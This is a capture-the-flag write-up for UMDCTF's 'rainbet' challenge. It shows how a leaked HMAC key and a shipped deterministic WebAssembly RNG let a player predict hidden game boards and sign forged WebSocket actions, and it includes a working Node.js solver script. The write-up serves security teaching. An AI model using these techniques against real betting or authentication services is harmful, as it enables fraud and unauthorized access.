webfreemedium

rainbet

umdctf

Task: a betting web game leaks both the current session identifier and the HMAC key used for websocket actions, while a bundled WebAssembly module deterministically generates the hidden board from that session state. Solution: rehost the wasm locally, predict every mines and chicken round from (session_id, round_idx), sign valid client views, and automate 25 perfect max wins.

$ ls tags/ techniques/
websocket_automationlocal_wasm_rehostingrng_state_predictionhmac_signed_view_replay

rainbet — UMDCTF

Description

rainbet sponsored by rainbet (for legal reasons this is not true). their rng backend was leaked (for legal reasons this is also not true)! can you get enough max wins?

English summary: the service exposes a browser game over HTTP and WebSocket. To get the flag, we need 25 consecutive max wins across two game modes, but the hidden mine and car positions are actually predictable from leaked session material and a leaked WebAssembly RNG backend.

Analysis

The challenge breaks because the client is trusted with too much information.

1. Session material is leaked directly

/api/sessioninfo returns both:

  • session_id
  • secret

That secret is the HMAC key used by the browser to authorize moves.

2. The browser shows exactly how actions are authenticated

static/app.js computes:

const view = canonView(); const sig = await hmacHex(state.secret, view); ws.send(JSON.stringify({ action, view, sig, ...extra }));

So the server accepts WebSocket actions such as reveal, cross, and cashout as long as we send the correct canonical view string and HMAC.

This is not enough by itself, because the hidden board still lives on the server. The next leak removes that last uncertainty.

3. The hidden game state is deterministic and reproducible

rainbet.py loads rainbet_gen.wasm and exposes generate_game(session_id, round_idx). The parser reveals the raw format:

def generate_game(session_id: str, round_idx: int) -> dict: raw = _call_generate(session_id, round_idx) gtype = raw[0] if gtype == 0: grid_size = raw[1] num_mines = raw[2] mines = list(raw[3:3 + num_mines]) return { "type": "mines", "grid_size": grid_size, "num_mines": num_mines, "mines": mines, } if gtype == 1: risk_idx = raw[1] num_cars = raw[2] cars = list(raw[3:3 + num_cars]) return { "type": "chicken", "risk_idx": risk_idx, "cars": cars, }

So the wasm does not just generate public metadata. It gives the full hidden mine positions for mines and the hidden car positions for chicken.

4. The max-win condition is explicit in the Python helper logic

The same file defines when a round counts as a max win:

  • mines: reveal every safe tile
  • chicken: cash out exactly at max_safe_steps(cars)

Relevant helper:

def max_safe_steps(cars): car_set = set(cars) for i in range(24): if i in car_set: return i return 24

That means:

  • if the first blocked lane is at index k, we must cross exactly k times and then cash out
  • if k == 0, we should cash out immediately
  • if there is no car at all, we can cross all 24 lanes and then cash out

5. Round progression makes prediction practical

From the notes and solver behavior:

  • during a winning streak, the same session_id stays valid
  • round_idx increments with the streak
  • if we lose, the server rotates both session_id and secret

Therefore, once we fetch the current session and keep winning, every future round is locally predictable as:

generate_game(session_id, streak)

Root Cause

The bug is a combination of three design failures:

  1. the server leaks the HMAC key to the client,
  2. the client-side code discloses the exact signed message format,
  3. the supposedly hidden RNG is deterministic and shipped to players as a reusable wasm module.

Together, this turns a gambling challenge into full oracle access: we can predict the hidden state and still produce valid authenticated actions.

Solution

Step 1. Fetch the current session data

Request /api/sessioninfo and save:

  • the cookie,
  • session_id,
  • secret.

Step 2. Rehost the wasm locally

Instantiate rainbet_gen.wasm in Node.js and call its exported generate function with:

(session_id, round_idx)

Then parse the result exactly like rainbet.py.

Step 3. Follow the public game state over WebSocket

After connecting to /ws, the server sends the current public game object. We verify the public fields match our local prediction:

  • mines: grid_size, num_mines
  • chicken: steps, risk

This confirms our local generator is synchronized with the server.

Step 4. Play each round perfectly

For mines:

  1. build a set of predicted mine tiles,
  2. reveal every tile not in that set,
  3. stop when the server auto-awards the win.

For chicken:

  1. compute max_safe_steps(cars),
  2. send cross until crossed == max_safe_steps,
  3. send cashout,
  4. if max_safe_steps == 0, cash out immediately.

Step 5. Sign every action correctly

Before each move, compute:

sig = HMAC_SHA256(secret, canonView())

and send JSON like:

{"action":"reveal","view":"mines:3:5:3:0,1,2","sig":"...","tile":7}

Step 6. Repeat for 25 rounds

Because we never lose, the same session_id remains usable and round_idx keeps advancing with the streak. The local predictor stays aligned for the entire run, and the final successful result message includes the flag.

Exploit Script

The actual solver used was tasks/umdctf/rainbet/solve.js. The core logic is:

#!/usr/bin/env node const fs = require("fs"); const crypto = require("crypto"); const BASE = "https://rainbet.challs.umdctf.io"; const WASM = fs.readFileSync("rainbet_gen.wasm"); const RISK_NAMES = ["Easy", "Medium", "Hard", "Daredevil"]; function hmacHex(secretHex, msg) { return crypto.createHmac("sha256", Buffer.from(secretHex, "hex")).update(msg).digest("hex"); } function maxSafeSteps(cars) { const carSet = new Set(cars); for (let i = 0; i < 24; i++) if (carSet.has(i)) return i; return 24; } function parseGame(raw) { const gtype = raw[0]; if (gtype === 0) { const gridSize = raw[1], numMines = raw[2]; return { type: "mines", grid_size: gridSize, num_mines: numMines, mines: Array.from(raw.slice(3, 3 + numMines)), }; } if (gtype === 1) { const riskIdx = raw[1], numCars = raw[2]; return { type: "chicken", steps: 24, risk_idx: riskIdx, risk: RISK_NAMES[riskIdx], cars: Array.from(raw.slice(3, 3 + numCars)), }; } throw new Error("unknown game type"); } async function makeGenerator() { const { instance } = await WebAssembly.instantiate(WASM, {}); const { memory, sid_buf_ptr, out_buf_ptr, generate } = instance.exports; return { generateGame(sessionId, roundIdx) { const sidBytes = Buffer.from(sessionId, "ascii"); new Uint8Array(memory.buffer, sid_buf_ptr(), sidBytes.length).set(sidBytes); const n = generate(sidBytes.length, roundIdx); return parseGame(Buffer.from(new Uint8Array(memory.buffer, out_buf_ptr(), n))); }, }; } function canonView(game, streak, revealed, crossed) { if (game.type === "mines") { return `mines:${streak}:${game.grid_size}:${game.num_mines}:${[...revealed].sort((a, b) => a - b).join(",")}`; } return `chicken:${streak}:${game.steps}:${crossed}`; } function nextAction(game, revealed, crossed) { if (game.type === "mines") { const mines = new Set(game.mines); for (let i = 0; i < game.grid_size * game.grid_size; i++) { if (!mines.has(i) && !revealed.includes(i)) return { action: "reveal", tile: i }; } throw new Error("no safe tile left"); } const safe = maxSafeSteps(game.cars); if (crossed < safe) return { action: "cross" }; if (crossed === safe) return { action: "cashout" }; throw new Error("desynced chicken state"); }

Pseudocode for the WebSocket loop:

fetch /api/sessioninfo open /ws with the session cookie for each round: local_game = wasm.generate_game(session_id, round_idx) while round not finished: view = canonView(current_state) sig = HMAC(secret, view) action = perfect_action(local_game, current_state) send(action, view, sig) if win: round_idx += 1 else: session_id, secret rotate and the run is dead

Why the exploit works

The HMAC only proves that the client knows the leaked secret. It does not protect the hidden state once that state is derivable from a deterministic wasm backend. Since the server also keeps the same session_id across a winning streak, our local simulation remains synchronized for all 25 rounds.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups